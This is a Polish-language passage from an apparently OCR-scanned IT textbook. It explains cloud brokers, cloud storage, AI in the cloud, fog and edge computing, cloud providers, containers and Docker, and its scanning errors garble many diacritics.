osoby), wydajnosc itp.

Broker w chmurze

Integracja ustug w chmurze staje sie zbyt skomplikowana, aby konsumenci mogli sobie z nig poradzié.
W ten sposéb konsument chmury moze zazgda¢ ustug w chmurze od brokera chmury, zamiast
bezposrednio kontaktowa¢ sie z CSP. Broker w chmurze to jednostka, ktéra zarzadza ustugami w
chmurze w zakresie uzytkowania, wydajnosci i dostarczania oraz utrzymuje relacje miedzy dostawcami
CSP a konsumentami w chmurze. Ustugi $wiadczone przez brokeréw w chmurze dzielg sie na trzy
kategorie:

o Posrednictwo w ustugach

Udoskonala dang funkcje o okreslong zdolnos$¢ i zapewnia ustugi o wartosci dodanej konsumentom
chmury.

o Agregacja ustug
taczy i integruje wiele ustug w jedng lub wiecej nowych ustug.
o Arbitraz ustugowy

Podobne do agregacji ustug, ale bez ustalania zagregowanych ustug (broker w chmurze moze wybierac
ustugi z wielu agencji).

Architektura przechowywania w chmurze

Przechowywanie w chmurze to medium stuzgce do przechowywania danych cyfrowych w pulach
logicznych przy uzyciu sieci. Fizyczna pamieé¢ masowa jest dystrybuowana na wiele serwerdw, ktérych
wiascicielem jest firma hostingowa. Organizacje mogg kupowac pojemnos¢ pamieci masowej od
dostawcow pamieci masowej w chmurze w celu przechowywania danych uzytkownikdéw, organizacji
lub aplikacji. Dostawcy pamieci masowej w chmurze ponoszg wytgczng odpowiedzialnos¢ za
zarzadzanie danymi i zapewnianie dostepnosci danych. Dostep do ustug pamieci masowej w chmurze
mozna uzyska¢ za pomocy ustugi przetwarzania w chmurze, interfejsu APl ustugi internetowej lub
dowolnej aplikacji korzystajgcej z interfejsu API, takiej jak pamie¢ masowa w chmurze, brama pamieci
masowej w chmurze lub internetowe systemy zarzadzania trescig. Ustuga przechowywania w chmurze
jest obstugiwana z ustugi poza lokalem przedsiebiorstwa, takiej jak Amazon S3. Architektura pamieci
masowej w chmurze ma te same cechy, co przetwarzanie w chmurze pod wzgledem skalowalnosci,
dostepnych interfejsow i mierzonych zasobow. Jest zbudowany na wysoce zwirtualizowanej
infrastrukturze i opiera sie na wielu warstwach, aby zapewnic¢ uzytkownikom ciggte ustugi pamieci
masowej. Trzy gtdwne warstwy odpowiadajg front-endowi, oprogramowaniu posredniczgcemu i back-



endowi. Warstwa front-end jest dostepna dla uzytkownika koncowego i zapewnia interfejsy APl do
zarzadzania przechowywaniem danych. Warstwa oprogramowania posredniczgcego realizuje funkcje
takie jak deduplikacja danych i replikacja danych. Warstwa zaplecza to miejsce, w ktérym
implementowany jest sprzet. Przechowywanie w chmurze sktada sie z rozproszonych zasobdéw. Jest
wysoce odporny na awarie dzieki nadmiarowosci, spéjny z replikacjg danych i bardzo trwaty. Szeroko
stosowane ustugi obiektowe] pamieci masowej obejmujg Amazon S3, Oracle Cloud Storage i Microsoft
Azure Storage, Open Stack Swift itp.

Rola sztucznej inteligencji w przetwarzaniu w chmurze

Obecnie dostawcy ustug w chmurze integrujag mozliwosci sztucznej inteligencji (Al) i uczenia
maszynowego (ML) w swojej infrastrukturze chmurowej, aby oferowac organizacjom bardziej wydajne,
strategiczne i oparte na wnioskach ustugi chmurowe. Ta integracja dodatkowo pomaga organizacjom
w efektywnym samodzielnym zarzadzaniu danymi, budowaniu i szkoleniu systeméw w zakresie
wyszukiwania wzorcédw i uzyskiwania wglagdu w dane, zwiekszania satysfakcji klientéw i
optymalizowania przeptywdw pracy.

Korzysci z integracji sztucznej inteligencji z przetwarzaniem w chmurze
Samodzielnie zarzadzana chmura

Integracja sztucznej inteligencji z infrastrukturg IT pomaga organizacjom zautomatyzowac przeptywy
pracy i powtarzalne zadania. Chmury prywatne i publiczne wykorzystujg narzedzia sztucznej
inteligencji do automatyzacji procesdw, takich jak zdalne zarzadzanie, monitorowanie i rozwigzywanie
problemdéw. Automatyzacja podstawowych przeptywéw pracy i proceséw poprawia wydajnosc
srodowiska chmurowego i pozwala zespotom IT skupi¢ sie na dziataniach strategicznych wysokiego
poziomu.

Zmniejszony koszt

Wykorzystanie narzedzi sztucznej inteligencji w $rodowisku chmurowym pozwala organizacjom
wyeliminowacd potrzebe utrzymywania centréow danych na miejscu i wydatkéw zwigzanych z rekrutacjg
ekspertow IT do zarzadzania centrami danych i serwerami. Co wiecej, organizacje uzyskujace dostep
do chmury mogg wykorzystywaé sztuczng inteligencje do uzyskiwania przydatnych informacji i
wydobywania praktycznych przypadkéw uzycia biznesowego bez dodatkowych kosztow.

Bezproblemowy dostep do danych

Korzystanie ze sztucznej inteligencji w chmurze zapewnia uzytkownikom bezproblemowy dostep do
danych, usuwajgc przeszkody w rozwigzywaniu problemoéw z niedostepnoscia. Sztuczna inteligencja
pozwala platformie chmurowej uczyc sie na podstawie zebranych danych, przewidywad i rozwigzywacé
potencjalne problemy z wyprzedzeniem.

Ulepszone zarzadzanie danymi

Al moze uprosci¢c zmudne zadanie gromadzenia, katalogowania i zarzadzania ogromnymi
repozytoriami danych generowanych przez dzisiejsze procesy biznesowe. Wszystkie narzedzia
pomagajg organizacjom analizowac¢ dane i wydobywaé odpowiednie wzorce, aby dostarcza¢ klientom
doktadne dane i ustugi w czasie rzeczywistym.

Zwiekszona produktywnos¢

Usprawnienie przeptywow pracy i automatyzacja powtarzalnych zadan pozwala zespotom IT skupié sie
na strategicznych dziataniach i celach biznesowych.



Zwiekszona niezawodnos¢

Ustugi w chmurze wykorzystujgce Al zapewniajg ciggtos¢ biznesowa, szybkie odzyskiwanie po awarii i
tworzenie kopii zapasowych danych.

Ulepszone srodowisko dzieki integracji Al-SaaS

Integracja Al z platforma Saa$S zapewnia klientom lepszg wydajnos¢ i funkcjonalnos¢ ustug. Na przykfad
wykorzystanie Al w oprogramowaniu i danych sprzedazowych pomaga organizacjom w wydobywaniu
czestych wzorcédw kupowanych produktéw. Pozwala im to uzyskac praktyczny wglad i zrozumiec
praktyczne przypadki uzycia biznesowego, ktére mozna dalej wykorzystaé do poprawy sprzedazy i
obstugi klienta.

Dostepnos¢ zaawansowanej infrastruktury chmurowej

Aby uzyska¢ maksymalng wydajnos¢ i wydajnos¢, rozwigzania Al wykorzystujg wiele szybkich
procesorow graficznych (GPU), ktére sg bardzo drogie. Al jako ustuga w $rodowisku chmurowym
umozliwia organizacjom wiaczenie mozliwosci Al do tworzenia aplikacji w przystepnej cenie.

Ulepszone bezpieczeristwo w chmurze

Al przetwarza dane w chmurze, wykrywa nieprawidtowosci, alarmuje i dodatkowo zapobiega
nieautoryzowanemu dostepowi do chmury. Moze wykrywaé wszelkie ztosliwe lub nietypowe
zdarzenia, blokowaé je i ograniczaé przedostawanie sie ztosliwego kodu do chmury. Al gromadszi,
analizuje i przeglada informacje rozproszone w wielu lokalizacjach, umozliwiajgc w ten sposéb
organizacjom angazowanie sie w proaktywne dziatania zwigzane z obstugg incydentow.

Lepsze podejmowanie decyzji

Al pomaga organizacjom w podejmowaniu lepszych decyzji biznesowych. Organizacje wykorzystujgce
chmure moga wydobywaé podobne wzorce i trendy z ogromnych zbioréw danych. Al uczy sie czestych
wzorcdéw na podstawie danych historycznych i poréwnuje je z biezgcymi wzorcami w zmieniajgcych sie
zbiorach danych, aby zapewni¢ praktyczny wglad w biznes. Dlatego Al zapewnia szybkg analize danych
i generuje cenne rekomendacje dotyczace spetniania wymagan klientéw.

Rzeczywistos¢ wirtualna i rzeczywistos¢ rozszerzona w chmurze

Rzeczywistos¢ wirtualna/rzeczywisto$¢ rozszerzona (VR/AR) i przetwarzanie w chmurze to dwie z
najwazniejszych pojawiajgcych sie technologii. Uzywane razem moga tworzy¢ nowe rodzaje aplikacji i
modeli uzytkowania. Na przyktad dzisiejsze zestawy stuchawkowe VR/AR wymagajg duzej lokalnej
mocy obliczeniowej i graficznej. Takie zestawy stuchawkowe, jak réwniez wymagania zwigzane z
przetwarzaniem i grafikg podtgczonego komputera, majg wysoki koszt. Jesli sSrodowisko chmurowe
moze zapewni¢ dostep do dostepnej obecnie wielordzeniowej mocy procesora, moze z tatwoscig
sprosta¢ surowym wymaganiom obliczeniowym aplikacji VR/AR. Wiekszo$¢ centréw danych opartych
na chmurze zapewnia obecnie dostep do mocy graficznej do obliczen aplikacji GPU wymaganych przez
aplikacje VR/AR. Ponadto aplikacje VR/AR wymagajg wiekszej szybkosci silnika cyfrowego niz dostepne
na rynku. Zamiast dokonywania kosztownych aktualizacji urzadzen komputerowych uzywanych do
aplikacji VR/AR, wystarczytoby wykorzystaé ustuge w chmurze w celu zwiekszenia szybkosci
podstawowej infrastruktury. Ponadto ewoluujgcy charakter aplikacji VR/AR spowoduje szybkie zmiany
w funkcjonalnosci oprogramowania i interfejsie uzytkownika (Ul). Wykorzystanie dostarczania takich
aplikacji w chmurze pozwoli zapewni¢ bezproblemowg obstuge uzytkownikom korncowym lub
konsumentom. Wreszcie, aplikacje oparte na VR/AR nie s3g czesto uzywane, wiec te aplikacje mozna
wykorzystac jako ptatne modele chmurowe oparte na ustugach.



Obliczenia mgty

Ogromny wzrost liczby urzadzen loT na catym swiecie doprowadzit do wytworzenia przez te urzadzenia
ogromnej ilosci danych. Aby sprosta¢ rosngcemu zapotrzebowaniu na analize i przetwarzanie tych
danych, idealnym rozwigzaniem jest wdrozenie mgty obliczeniowej wraz z chmurg obliczeniowa. Fog
computing to rozproszone i niezalezne srodowisko cyfrowe, w ktérym aplikacje i przechowywanie
danych znajdujg sie pomiedzy zrédtami danych (urzadzeniami generujgcymi dane) a ustugg w chmurze.
Fog computing to rozszerzona wersja przetwarzania w chmurze, ktéra obejmuje wiele weztéw
brzegowych, ktére s3 bezposrednio potgczone z urzadzeniami fizycznymi, aby umozliwic
uzytkownikom korncowym dostep do ustug. Ogdlnie rzecz biorgc, mgta odnosi sie do idei stworzenia
indywidualnej warstwy w rozproszonej infrastrukturze sieciowej, ktéra ma bliskie potaczenia z loT i
przetwarzaniem w chmurze. Petni role posrednika miedzy sprzetem a zdalnymi serwerami, nazywany
jest rowniez inteligentng brama. Mgta moze by¢ wykorzystana do ulepszonego przetwarzania,
przechowywania i analizy danych w szybki i wydajny sposdb. Wiele organizacji przyjeto te technologie,
poniewaz moze ona zapewni¢ dodatkowe funkcje szybkiego i wydajnego przetwarzania,
przechowywania i analizy danych.

Dziatanie mgty obliczeniowej

Urzadzenia z potgczeniem internetowym, mozliwosciami obliczeniowymi i przechowywaniem danych
nazywane sg weztami mgty. Wezty mgty mozna wdraza¢ w dowolnym miejscu w sieci. Aplikacje loT dla
weztéw mgly sg przenoszone na brzeg sieci. Wezty mgty w poblizu krawedzi sieci pobierajg dane z
urzadzen loT, umozliwiajgc krotkoterminowa analize na krawedzi. Obliczenia mgty moga by¢ bardzo
korzystne w przypadku niestabilnego pofaczenia z Internetem. Pilne Zzgdania sg przesytane
bezposrednio do mgly i przetwarzane w czasie rzeczywistym w sieci lokalnej. Obliczenia mgty moga by¢
wykorzystywane w aplikacjach takich jak inteligentne miasta, inteligentne sieci, pofaczone samochody
i analizy w czasie rzeczywistym.

Zalety:

Obliczenia mgty okazaty sie korzystne w dziedzinie loT, duzych zbioréw danych i analiz w czasie
rzeczywistym. Ponizej przedstawiono gtdwne zalety przetwarzania mgty w pordéwnaniu z
przetwarzaniem w chmurze.

Niskie opdznienia: obliczenia mgty moga przetwarzac duze ilosci danych bez opdznien, poniewaz mgta
znajduje sie geograficznie blizej uzytkownikéw koricowych i moze oferowac szybkie reakcje.

Wysoka elastycznos¢ biznesowa: programisci moga tatwo i szybko projektowaé wystgpienia mgty i
wdrazac je w zaleznosci od wymagan.

Brak zaktécen z przepustowoscia: Wszystkie dane sg gromadzone w réznych punktach, zamiast by¢
przesytane razem do jednego centrum przez jeden kanat, co pozwala unikngé problemdéw zwigzanych
z przepustowoscia.

Brak utraty pofaczenia: Obecnos¢ kilku potgczonych ze sobg kanatéw nie powoduje utraty potgczenia.

Podwyiszone bezpieczenstwo: Fog computing zwieksza bezpieczenstwo, poniewaz przetwarzanie
danych jest wykonywane przez wiele weztéw w ztozonym systemie rozproszonym.

Niskie koszty operacyjne: mgta obliczeniowa moze radykalnie obnizy¢ koszty dzieki zachowaniu
przepustowosci sieci, poniewaz dane sg przetwarzane lokalnie, a nie wysytane do chmury w celu
analizy.



Wysoka wydajnos$¢ energetyczna: urzadzenia brzegowe obstugujg protokoty oszczedzania energii,
takie jak Zigbee, ZWave lub Bluetooth.

Wady:
Ponizej przedstawiono niektére wady przetwarzania mgty w poréwnaniu z przetwarzaniem w chmurze.

Dodatkowe wydatki: organizacje musza kupowa¢ dodatkowe urzgdzenia brzegowe, takie jak routery,
koncentratory i bramy.

Skomplikowany system: Poniewaz mgta jest dodatkowag warstwg w systemie przetwarzania i
przechowywania danych, komplikuje caty system.

Ograniczona skalowalnosé: mgta nie jest tak skalowalna jak chmura.
Przetwarzanie brzegowe

Konwencjonalne przetwarzanie w chmurze wigze sie z pewnymi problemami zwigzanymi z
bezpieczenstwem danych, niskg wydajnoscia i zwiekszonym przechowywaniem danych, co prowadzi
do wysokich kosztow operacyjnych. Problemy te mozna rozwigzaé, zastepujac konwencjonalne
przetwarzanie w chmurze przetwarzaniem brzegowym. Przetwarzanie brzegowe jest podzbiorem
przetwarzania mgty, a jego podejscie do przetwarzania danych jest podobne do przetwarzania mgty.
W przypadku mgty obliczeniowej inteligentna brama wykonuje przetwarzanie w sieci LAN, podczas gdy
w przypadku przetwarzania brzegowego inteligencja bramy brzegowej jest wykonywana w
urzadzeniach takich jak programowalne sterowniki automatyki. Edge computing jest stosowany w
rozwigzaniach wymagajgcych przetwarzania matych i pilnych operacji w czasie rzedu milisekund.

Przetwarzanie brzegowe to rozproszony, zdecentralizowany model obliczeniowy, w ktérym obliczenia
i przetwarzanie danych s3 wykonywane blisko urzadzen brzegowych. Przechowuje dane w
lokalizacjach w poblizu urzadzen, z ktdrych dane zostaty zebrane, zamiast ufac centralnej lokalizacji do
przechowywania danych. Zmniejsza réwniez wykorzystanie przepustowosci tgcza internetowego i
odcigzanie danych. Wiele organizacji moze wykorzystywac te technologie w systemach automatyki
budynkowej w celu szybkiego przetwarzania, szybkiego reagowania i wydajnych aplikacji dziatajgcych
W czasie rzeczywistym.

Cloud vs. Fog Computing vs. Edge Computing

Przetwarzanie brzegowe i przetwarzanie mgly to rozszerzenia przetwarzania w chmurze. Cloud
computing to scentralizowany model, ktory zawiera kilka (tysigce) serwerdw przetwarzajgcych dane w
czasie rzeczywistym. Przetwarzanie brzegowe obejmuje nieskoriczong liczbe (miliardy)
wirtualnych/sprzetowych punktéow koncowych, ktére dziatajg jako rozproszony, zdecentralizowany
model, w ktérym przetwarzanie danych odbywa sie w poblizu urzadzen brzegowych (urzadzen loT).
Infrastruktura obliczeniowa mgty zawiera niezliczone (miliony) weztéw, w ktérych przechowywanie,
przetwarzanie i analiza danych odbywa sie szybko i wydajnie. Jest to zdecentralizowana inteligentna
brama umieszczona w dowolnym miejscu miedzy zrédtem danych a infrastrukturg chmury.

Funkcja : Przetwarzanie w chmurze : Przetwarzanie we mgle : Przetwarzanie brzegowe

Szybkos¢ : Wyzsza predkosé dostepu niz w przypadku przetwarzania mgty, ale zalezy od tgcznosci z
maszyng wirtualng : Wyzsza predkosé niz w przypadku przetwarzania w chmurze : Wyzsza predko$é niz
w przypadku przetwarzania we mgle



Opodznienie : Duze opdznienie : Mate opdznienie : Mate opdznienie

Integracja danych : Integruje wiele zrédet danych : Integruje wiele zrédet danych i urzadzen : Integruje
ograniczone zrddta danych

Pojemnos¢ : Brak redukcji danych podczas dostarczania lub konwertowania danych : Zmniejsza ilos¢
danych wysytanych do przetwarzania w chmurze : Zmniejsza ilos¢ danych wysytanych do przetwarzania

mgty

Szybkos¢ reakcji : Krétki czas reakcji : Wysoki czas reakcji : Dtugi czas reakcji

Bezpieczenstwo : Mniej bezpieczne niz przetwarzanie mgty : Wysokie bezpieczeristwo : Dostosowane
zabezpieczenia

Przetwarzanie w chmurze a przetwarzanie sieciowe

Dwa najpopularniejsze modele obliczeniowe, cloud computing i grid computing, opierajg sie
odpowiednio na architekturze klient-serwer i rozproszonej architekturze obliczeniowej. Ponizsza
tabela zawiera gtdwne réznice miedzy tymi dwoma:

Przetwarzanie w chmurze : Przetwarzanie sieciowe

Zgodny z architekturg klient-serwer : Zgodny z architekturg przetwarzania rozproszonego
Wyzsza skalowalnos¢ : Standardowa skalowalnos¢

Zasoby sg wykorzystywane w sposdb scentralizowany : Zasoby sg wykorzystywane wspélnie
Bardziej elastyczny : Mniej elastyczny

Dostawcy infrastruktury sg wtascicielami serweréw w chmurze : Organizacja jest witascicielem sieci i
zarzadza nimi

Ustugi obejmuja laaS, PaaS i SaaS : Ustugi obejmujg rozproszone informacje,przetwarzanie rozproszone
i rozproszone wszechobecne systemy

Dostep przy uzyciu zwyktych protokotow sieciowych : Dostep przy uzyciu oprogramowania
posredniczgcego grid

Model pay-as-you-go : Uzytkownicy nie muszg ptacic¢ za korzystanie
Zorientowany na ustugi : Zorientowany na aplikacje

Zapewnia rozne ilosci oblicze zasobdw, aby sprostaé¢ réznym typom wymaganiom uzytkownikéw :
Udostepnia wspdlng grupe zasobdéw obliczeniowych dla uzytkownikow

Nie obstuguje interoperacyjnosci, ktéra moze prowadzi¢ do probleméw zwigzanych z uzaleznieniem
od dostawcy : Obstuguje interoperacyjnos¢ i moze by¢ zarzgdzana tatwo

Zawiera duzg pule zasobdéw i aktywa : Zawiera ograniczong liczbe aktywdw i zasobdéw



Dostawcy ustug w chmurze
Ponizej omoéwiono niektdrych popularnych dostawcéw ustug w chmurze:
Ustuga internetowa Amazon (AWS)

AWS swiadczy ustugi przetwarzania w chmurze na zgdanie dla oséb fizycznych, organizacji, rzadu itp.
na zasadzie ptatnosci za wykorzystanie. Ta ustuga zapewnia niezbedng infrastrukture techniczng
poprzez rozproszone przetwarzanie i narzedzia. Srodowisko wirtualne zapewniane przez AWS
obejmuje procesor, procesor graficzny, pamieé¢ RAM, dysk twardy, systemy operacyjne, aplikacje i
oprogramowanie sieciowe, takie jak serwery WWW, bazy danych i CRM.

Microsoft Azure

Microsoft Azure zapewnia ustugi przetwarzania w chmurze do tworzenia, testowania, wdrazania i
zarzadzania aplikacjami i ustugami za posrednictwem centréow danych Azure. Zapewnia wszystkie
rodzaje ustug przetwarzania w chmurze, takie jak SaaS, PaaS i laaS. Oferuje rézne ustugi w chmurze,
takie jak przetwarzanie danych, mobilna pamie¢ masowa, zarzadzanie danymi, przesyfanie
wiadomosci, media, uczenie maszynowe i loT.

Platforma Google Cloud (GCP)

GCP zapewnia wustugi laaS, PaaS i przetwarzanie bezserwerowe. Obejmujg one obliczenia,
przechowywanie i analize danych, uczenie maszynowe, sieci, bigdata, cloud Al, narzedzia do
zarzadzania, tozsamosc i bezpieczenstwo, loT i platformy API.

IBM Chmura

IBM Cloud to solidny pakiet zaawansowanych narzedzi do obstugi danych i Al oraz gtebokiej wiedzy
branzowej. Zapewnia rdézne ustugi w chmurze, takie jak laaS, SaaS i PaaS, za posrednictwem
publicznych, prywatnych i hybrydowych modeli dostarczania chmury. Ustugi te obejmuja
przetwarzanie, tworzenie sieci, przechowywanie, zarzadzanie, bezpieczenstwo, bazy danych,
analityke, Al, loT, urzadzenia mobilne, narzedzia deweloperskie i tancuch blokow.

Technologia konteneréow

Technologia konteneréw to wschodzaca ustuga wirtualizacji oparta na kontenerach. Pomaga
programistom i zespotom IT w tworzeniu, uruchamianiu i zarzadzaniu aplikacjami kontenerowymi za
pomocg interfejsu APl ustugodawcy lub interfejsu portalu internetowego. Kontenery i klastry mozna
wdraza¢ w lokalnych centrach danych lub w chmurze. W tej sekcji oméwiono rdézne koncepcje
zwigzane z technologia kontenerdw, takie jak kontenery Docker i Kubernetes.

Co to jest kontener?

Kontener to pakiet aplikacji/oprogramowania zawierajgcy wszystkie jego zaleznosci, takie jak biblioteki
i pliki konfiguracyjne, pliki binarne i inne zasoby, ktére dziatajg niezaleznie od innych proceséw w
Srodowisku chmury. Wszystkie te pliki zasobdw sg dostarczane jako jednostka, aby rozwigzac problemy
ze zgodnoscig, gdy aplikacje sg przenoszone miedzy srodowiskami chmurowymi. Kontenery te sg
udostepniane subskrybentom w formie CaaS. Ustuga CaaS obejmuje wirtualizacje i zarzadzanie
kontenerami za posrednictwem koordynatoréw. Korzystajgc z tych ustug, subskrybenci moga tworzy¢
rozbudowane, skalowalne aplikacje kontenerowe za posrednictwem chmury lub lokalnych centréw
danych. Dziedziczy funkcje zaréwno laaS, jak i PaaS. Popularne ustugi kontenerowe obejmujg Amazon
AWS EC2, Google Kubernetes Engine (GKE), Docker itp.



Cechy:

Wdrazanie konteneréw niesie ze sobg wiele korzysci, czynigc je atrakcyjng technologia dla réznych
gatezi przemystu. Ponizej oméwiono niektdre z ich najwazniejszych cech:

Przeno$nos$¢ i spojnosc

Aplikacja lub oprogramowanie opracowane w kontenerze zawiera wszystkie zasoby wymagane do
dziatania. Ta przenosnos¢ pomaga klientom lub uzytkownikom kofncowym uruchamia¢ aplikacje na
réznych platformach oraz w Srodowiskach chmury prywatnej lub publiczne;j.

Bezpieczenstwo

Dzieki niezaleznemu charakterowi konteneréw zagrozenia bezpieczenstwa sg ograniczone. Jesli
aplikacja zostanie zaatakowana lub narazona na szwank, jej infekcje nie obejmag pozostatych
kontenerdw.

Wysoka wydajnos¢ i optacalnosé

Kontenery mogg dziata¢ z mniejszg iloscig zasobdow w poréwnaniu z maszynami wirtualnymi (VM),
poniewaz nie potrzebujg niezaleznych systemdéw operacyjnych. Ponadto kontenery potrzebujg do
dziatania kilku megabajtéw pamieci, co umozliwia uzytkownikom uruchamianie wielu konteneréw na
jednym serwerze. Kontenery te sg izolowane na serwerze w chmurze, poniewaz jesli aplikacja jest
wytgczona dla jednego kontenera, inne kontenery mogg z niego korzysta¢ bez problemoéw
technicznych.

Skalowalnosé

Kontenery sg skalowalne i umozliwiajg subskrybentom lub uzytkownikom integracje wiekszej liczby
podobnych konteneréw w ramach tego samego klastra w celu zwiekszenia ich rozmiaru. Inteligentna
technologia skalowania umozliwia uzytkownikom uruchamianie tylko zamierzonego kontenera i
pozostawianie niechcianych konteneréw w stanie spoczynku, dzieki czemu jest to optacalne.

Krzepkos¢

Kontenery mozna generowaé, wdrazad i niszczy¢ w kilka sekund, poniewaz nie wymagajg systeméw
operacyjnych. Cecha ta pozwala na szybki proces rozwoju, zwiekszenie szybkosci operacyjnej oraz
uruchamianie nowych wersji oprogramowania w okreslonym czasie. Przyspiesza réwniez korzystanie z
aplikacji przez uzytkownika, utatwiajgc programistom i organizacjom szybkie usuwanie btedow i
integracje najnowszych funkcji.

Architektura technologii konteneréw

Jak pokazano na ponizszym rysunku, technologia kontenerowa ma architekture pieciowarstwows i
podlega tréjfazowemu cyklowi zycia:

Tier-1: Maszyny deweloperskie - tworzenie obrazu, testowanie i akredytacja

Tier-2: Systemy testowania i akredytacji - weryfikacja i walidacja tresci obrazu, podpisywanie obrazéw
i przesytanie ich do rejestréow

Tier-3: Rejestry - przechowywanie obrazéw i rozpowszechnianie obrazéw wsréd orkiestratorow na
podstawie zadan

Tier -4: Orchestrators - przeksztatcanie obrazéw w kontenery i wdrazanie kontenerédw na hostach



Tier- 5: hosty - obstuga kontenerdw i zarzgdzanie nimi zgodnie z instrukcjami koordynatora

Trzy fazy cyklu zycia kontenera sg nastepujace:
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Tworzenie wizerunku, testowanie i akredytacja

Pierwszg fazg technologii konteneréw jest generowanie i walidacja obrazu. W tej fazie aplikacja lub
komponenty oprogramowania sg opracowywane i przechowywane w obrazie (lub obrazach). Obraz
sktada sie z wymaganych plikdw i zasobéw do wykonania kontenera. Tworzenie obrazu jest
obstugiwane przez programistéw i jest odpowiedzialne za integracje istotnych komponentéw aplikacji.
Po utworzeniu obrazu zespoty ds. bezpieczenstwa przeprowadzajg testy obrazu i akredytacje.

Przechowywanie i odzyskiwanie obrazow

obrazy sg zwykle umieszczane w centralnych lokalizacjach zwanych rejestrami. Rejestry zapewniajg
programistom rézne ustugi, takie jak przechowywanie obrazéw, oznaczanie i katalogowanie obrazéw
w celu fatwej identyfikacji, kontrola wersji w celu tatwego wyszukiwania i ponownego wykorzystania
oraz pobieranie i pobieranie obrazéw utworzonych przez innych programistow. Rejestry mogg by¢
dostarczane jako ustuga lub byé hostowane samodzielnie. Popularne ustugi rejestru obejmujg Docker
Hub, Amazon Elastic Container Registry (ECR), Docker Trusted Registry (DTR) itp.

Wdrazanie i zarzadzanie kontenerami

Orchestratory to narzedzia, ktére umozliwiajg administratorom DevOps pobieranie obrazéw z
rejestrow, wdrazanie ich w kontenerach i zarzadzanie operacjami kontenerdw. Jest to ostatnia faza
cyklu zycia kontenera, w ktérej wdrazana jest najnowsza wersja aplikacji i wprowadzana do
uzycia/dziatania na zywo. Orkiestratorzy sg pomocni w monitorowaniu zuzycia zasobow kontenera i
wykonywaniu zadan, identyfikowaniu awarii hosta i automatycznym ponownym uruchamianiu
kontenerédw na nowych hostach. Po wyczerpaniu zasobdw program Orchestrator przydziela
dodatkowe zasoby do konteneréw. Gdy aplikacja dziatajgca w kontenerze wymaga aktualizacji,
istniejace kontenery sg niszczone, a ze zaktualizowanych obrazéw tworzone sg nowe kontenery. Do
popularnych orkiestratoréw nalezg Kubernetes, Docker Swarm, Nomad, Mesos itp.

Zalety:
¢ Minimalna ilos¢ zasobdw potrzebnych do stworzenia aplikacji

¢ Szybsze wykrywanie problemoéw z oprogramowaniem i wdrazanie poprawek



» Optacalnosc¢ i tatwa wysytka
e Zwiekszona przenosnos¢ aplikacji
¢ Skalowalne zasoby

e Szybkie uruchamianie kontenera (w kilka sekund), dzieki czemu aplikacje mogg by¢ opracowywane
w szybkiej fazie

e tatwe zarzadzanie izolowanymi aplikacjami w kontenerach

¢ tatwe testowanie i debugowanie

Wady:

eZwiekszona ztozonos¢

¢ Brak wiedzy personelu skutkuje btedami w konfiguracji

eZwiekszona podatnos$¢ na zagrozenia dzieki wspotdzielonym zasobom
*Watpliwa wydajnosé pojemnika

e Trudnos¢ w wyborze platformy do obstugi konteneréw

® Rdznice w wykrywaniu ustug (oparte na serwerach proxy, oparte na DNS itp.)
Kontenery vs. Wirtualne maszyny

Wirtualizacja to podstawowa technologia, ktdra napedza przetwarzanie w chmurze, zapewnia
mozliwos$¢ uruchamiania wielu systemow operacyjnych w jednym systemie fizycznym i udostepniania
podstawowych zasobdéw, takich jak serwery, urzadzenia pamieci masowej lub sieci. Wirtualizacja
umozliwia organizacjom obnizenie kosztow IT przy jednoczesnym zwiekszeniu produktywnosci,
wykorzystania i elastycznosci istniejgcego sprzetu komputerowego. Do dostawcdw wirtualizacji nalezg
VMware vCloud Suite, VMware vSphere, VirtualBox, Microsoft Hyper-V itp. Tradycyjnie wirtualizacja
pojawita sie w celu utatwienia przenoszenia aplikacji i optymalizacji infrastruktury IT w chmurze. Ma
jednak kilka wad, takich jak wolniejsza wydajno$¢é z powodu duzej wagi maszyn wirtualnych, problemy
Z przenosnoscig, czasochfonnos¢ udostepniania zasobow IT. Aby rozwigza¢ te problemy, branze
wdrazajg technologie konteneryzacji, ktdra zapewnia zasoby aplikacji w postaci lekkich kontenerdéw,
ktére dziatajg w jednym systemie operacyjnym i umozliwiajg dziatanie oprogramowania/aplikacji w
dowolnym miejscu przy skalowalnych zasobach. Kontenery s umieszczane na fizycznym serwerze i
systemie operacyjnym hosta i wspotdzielg pliki binarne i biblioteki jadra systemu, zmniejszajac
potrzebe odtwarzania systemu operacyjnego. Dzieki konteneryzacji serwer moze uruchamiaé wiele
obcigzen przy uzyciu jednego systemu operacyjnego. W zwigzku z tym kontenery sg lekkie, majg
rozmiar zaledwie megabajtéw i uruchamiajg sie w kilka sekund, w przeciwieAstwie do maszyn
wirtualnych, ktérych uruchomienie zajmuje kilka minut.

Maszyna wirtualna : Kontenery

Ciezka : Lekka i przenosna

Dziataj na niezaleznych systemach operacyjnych : Udostepnia jeden system operacyjny hosta
Wirtualizacja oparta na sprzecie : Wirtualizacja oparta na systemie operacyjnym

Wolniejsze udostepnianie : Skalowalne udostepnianie w czasie rzeczywistym



Ograniczona wydajnos¢ : Natywna wydajnosc

Catkowicie izolowany, co zwieksza bezpieczestwo : lzolacja na poziomie procesu, czesciowo
zabezpieczona

Stworzony i uruchomiony w kilka minut : Stworzony i uruchomiony w kilka sekund
Co to jest Docker?

Docker to technologia typu open source uzywana do tworzenia, pakowania i uruchamiania aplikacji.
Wszystkie zaleznosci Dockera sg w postaci kontenerdw, aby zapewni¢ bezproblemowe dziatanie
aplikacji. Docker zapewnia PaaS poprzez wirtualizacje na poziomie systemu operacyjnego i dostarcza
pakiety oprogramowania w kontenerach. Technologia ta izoluje aplikacje od podstawowej
infrastruktury w celu szybszego dostarczania oprogramowania. Zaletg Dockera jest to, ze kiedy
aplikacja jest spakowana wraz z jej zaleznosciami do kontenera Dockera, moze dziata¢ w dowolnym
srodowisku. Co wiecej, gdy programisci budujg aplikacje z wykorzystaniem Dockera, majg pewnos¢, ze
nie bedzie miedzy nimi zaktécen, poniewaz kontenery Dockera sg od siebie odizolowane i komunikujg
sie za posrednictwem dobrze zdefiniowanych kanatéw.

Silnik Dockera

Silnik Docker to aplikacja klient/serwer zainstalowana na hoscie, ktéra umozliwia tworzenie, wdrazanie
i uruchamianie aplikacji przy uzyciu nastepujacych komponentéw:

Serwer: Jest to trwaty proces zaplecza, znany réwniez jako proces demona (polecenie dockerd).
Rest API: Ten interfejs APl umozliwia komunikacje i przypisywanie zadarh do demona.

Client CLI: Jest to interfejs wiersza polecen uzywany do komunikacji z demonem i gdzie inicjowane sg
rézne polecenia Dockera.

Docker Swarm

Silnik Docker obstuguje tryb roju, ktéry umozliwia zarzgdzanie wieloma silnikami Docker w ramach
